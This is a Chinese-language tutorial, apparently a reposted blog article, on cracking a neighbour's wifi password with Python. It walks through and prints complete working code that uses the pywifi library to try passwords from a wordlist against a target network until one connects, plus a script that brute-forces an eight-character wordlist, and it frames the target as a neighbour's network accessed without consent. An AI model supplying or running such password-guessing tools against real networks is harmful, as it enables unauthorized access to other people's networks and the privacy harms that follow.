手把手教你用Python破解邻家小妹wifi密码 您所在的位置:网站首页 浅蓝色商务背景图片PPT 手把手教你用Python破解邻家小妹wifi密码

手把手教你用Python破解邻家小妹wifi密码

2023-11-14 15:50| 来源: 网络整理| 查看: 265

今天给大家分享一个

使用Python

破解wifi密码的代码

这个代码也是非常简单

用Python中的pywifi库

所以需要在DOS命令下安装这个库

同样使用pip install pywifi

很简单就安装成功了

我用的是Python3

所以各位看的时候需要注意这一点

接下来

我们一步一步分析主要代码

后面同样附上完整的代码

对了

需要注意一点

就是电脑必须是要用无线网卡

1

获取无线网卡

首先我们需要判断电脑是否已经连接wifi,创建一个无线对象,获取无线网卡。

wifi=pywifi.PyWiFi() #获取无线网卡 ifaces=wifi.interfaces()[0] print(ifaces)

下面就是效果,但是它返回的是一个对象

使用这行代码就可以获取电脑无线网卡的名称:

print(ifaces.name())

这个就是我的无线网卡

2

创建连接

要判断是否连接WiFi,我们需要导入一个常量库:

from pywifi import const

创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。代码如下:

profile=pywifi.Profile() #要连接WiFi的名称 profile.ssid="jiayi" #网卡的开放状态 profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法为was profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密单元 profile.cipher=const.CIPHER_TYPE_CCMP

删除所有连接过的wifi文件,重新设定新的连接文件,设置wifi连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0.

#删除所有连接过的wifi文件 ifaces.remove_all_network_profiles() #设定新的连接文件 tep_profile=ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi连接时间 time.sleep(3) if ifaces.status()==const.IFACE_CONNECTED: return True else: return False

3

读取密码本进行破解

接下来我们就需要一个密码本,然后采用只读的方式,一行一行读取,这里的密码本可以用下面代码生成,也用去网上下载一个常用wifi密码,只要是TXT文本就可以。

#密码本路径 path="./password.txt" #打开文件 file=open(path,"r") while True: try: #一行一行读取 pad=file.readline()

好了

接下来就是完整的代码

破解wifi主体

# coding:utf-8 import pywifi from pywifi import const import time #测试连接,返回链接结果 def wifiConnect(pwd): #抓取网卡接口 wifi=pywifi.PyWiFi() #获取第一个无线网卡 ifaces=wifi.interfaces()[0] #断开所有连接 ifaces.disconnect() time.sleep(1) wifistatus=ifaces.status() if wifistatus ==const.IFACE_DISCONNECTED: #创建WiFi连接文件 profile=pywifi.Profile() #要连接WiFi的名称 profile.ssid="aaa你猜" #网卡的开放状态 profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法为wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密单元 profile.cipher=const.CIPHER_TYPE_CCMP #调用密码 profile.key=pwd #删除所有连接过的wifi文件 ifaces.remove_all_network_profiles() #设定新的连接文件 tep_profile=ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi连接时间 time.sleep(3) if ifaces.status()==const.IFACE_CONNECTED: return True else: return False else: print("已有wifi连接") #读取密码本 def readPassword(): print("开始破解:") #密码本路径 path="./password.txt" #打开文件 file=open(path,"r") while True: try: #一行一行读取 pad=file.readline() bool=wifiConnect(pad) if bool: print("密码已破解: ",pad) print("WiFi已自动连接!!!") break else: #跳出当前循环,进行下一次循环 print("密码破解中....密码校对: ",pad) except: continue readPassword()

随机生成密码

import itertools as its # 迭代器 number = "1234567890" words = "abcdefghijklmnopqrstuvwyz" te_su = ".!@#$%&*" # 生成密码本的位数,八位数,repeat=8 r = its.product(number+words+te_su, repeat=8) # 保存在文件中,追加 dic = open("./password.txt", "a") # i是元组 for i in r: # jion空格链接 dic.write("".join(i)) dic.write("".join("\n")) print(i) dic.close() print("密码本已生成")

看到没有

破解就是这么简单

这里的话密码本生成还是太简单

后面有时间我尝试写一些

常用的姓氏组合密码生成工具

敬请期待

具体教程



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有